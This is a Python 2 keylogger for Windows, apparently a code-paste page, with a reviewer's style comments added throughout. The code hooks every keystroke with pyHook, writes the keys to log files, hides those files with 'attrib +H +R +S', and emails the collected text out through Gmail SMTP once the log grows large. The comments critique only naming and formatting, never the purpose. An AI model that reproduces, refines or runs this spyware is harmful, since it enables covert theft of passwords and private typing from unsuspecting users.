· 9 years ago · Jul 18, 2017, 05:34 AM
1"""
2EXTRA COMMENTS:
3 Create better variable names, or add comments.
4 Also, delete the extra returns so it looks nicer.
5 It was very hard for me to following/track the
6 program. It is advised to put everything within a
7 function. The only thing outside the function
8 should be imports and the calling main()
9My comments are labeled with ### ENJOY :D
10"""
11
12import pywintypes
13import pythoncom
14import win32api
15import pyHook
16import logging
17import os
18import smtplib
19### Not necessary to do, but all imports can be on one line. The format you have looks nicer though.
20
21
22#specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'} ### Why do you have a copy commented out?
23
24specials = {8:'BACKSPACE',9:'TAB',13:'ENTER', 27:'ESC', 32:'SPACE'}
25buffer = ''
26
27### Why so many returns here?
28
29
30def send():
31
32
33
34 j = open('loggedx.log', 'r') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
35 check = file('loggedx.log').read()
36 r = len(check) ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
37 j.close()
38
39 mmm = open('log.txt', 'r') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
40 mmmp = file('log.txt').read() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
41 mmm.close()
42
43 msg = mmmp
44 #########EDIT THIS##########
45 toaddrs = 'PUT WHERE TO SEND LOGS'
46 username = "PUT YOUR GMAIL USERNAME"
47 password = "PUT YOUR GMAIL PASSWORD"
48 #########EDIT THIS##########
49 server = smtplib.SMTP('smtp.gmail.com:587')
50 server.starttls()
51 server.login(username,password)
52 server.sendmail(username + '@gmail.com', toaddrs, msg)
53 g = open('loggedx.log', 'w') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
54 g.write('a')
55 g.close()
56 po = 0 ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
57 hm = pyHook.HookManager() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
58 hm.KeyDown = OnKeyboardEvent
59 hm.HookKeyboard()
60 pythoncom.PumpMessages()
61
62
63
64
65
66
67
68def OnKeyboardEvent(event):
69
70 logging.basicConfig(filename='log.txt',level=logging.DEBUG,format='%(message)s')
71 global buffer
72 p = os.popen('attrib +H +R +S log.txt') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
73 t = p.read() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
74 p.close()
75 if event.Ascii in range(32,127):
76 ite = chr(event.Ascii)
77 print chr(event.Ascii)
78 buffer += chr(event.Ascii)
79
80
81
82
83
84 g = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
85 g.close() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
86 j = open('loggedx.log', 'r') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
87 check = file('loggedx.log').read()
88 po = len(check) ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
89 j.close()
90 if check == '':
91 p = os.popen('attrib +H +R +S loggedx.log') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
92 t = p.read() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
93 p.close()
94 f = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
95 f.write(ite)
96 f.close()
97 else:
98 f = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
99 f.write(ite)
100 f.close()
101 if po > 100000:
102 send()
103 else:
104 pass
105
106
107 if event.Ascii in specials:
108 ite = ' <'+specials[event.Ascii]+'> ' ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
109 print '<'+specials[event.Ascii]+'>'
110 logging.log(10,buffer)
111 buffer = ''
112 logging.log(10,'<'+specials[event.Ascii]+'>')
113
114
115 p = os.popen('attrib +H +R +S log.txt') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
116 t = p.read() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
117 p.close()
118
119
120 g = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
121 g.close() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
122 j = open('loggedx.log', 'r') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
123 check = file('loggedx.log').read()
124 po = len(check) ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
125 j.close()
126 if check == '':
127 p = os.popen('attrib +H +R +S loggedx.log') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
128 t = p.read() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
129 p.close()
130 f = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
131 f.write(ite)
132 f.close()
133 else:
134 f = open('loggedx.log', 'a') ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
135 f.write(ite)
136 f.close()
137 if po > 100000:
138 send()
139 else:
140 pass
141
142 return True
143
144
145hm = pyHook.HookManager() ### Bad Variables Name -> Make Distinctive Variable Name (Or add comments describing it)
146hm.KeyDown = OnKeyboardEvent
147hm.HookKeyboard()
148pythoncom.PumpMessages()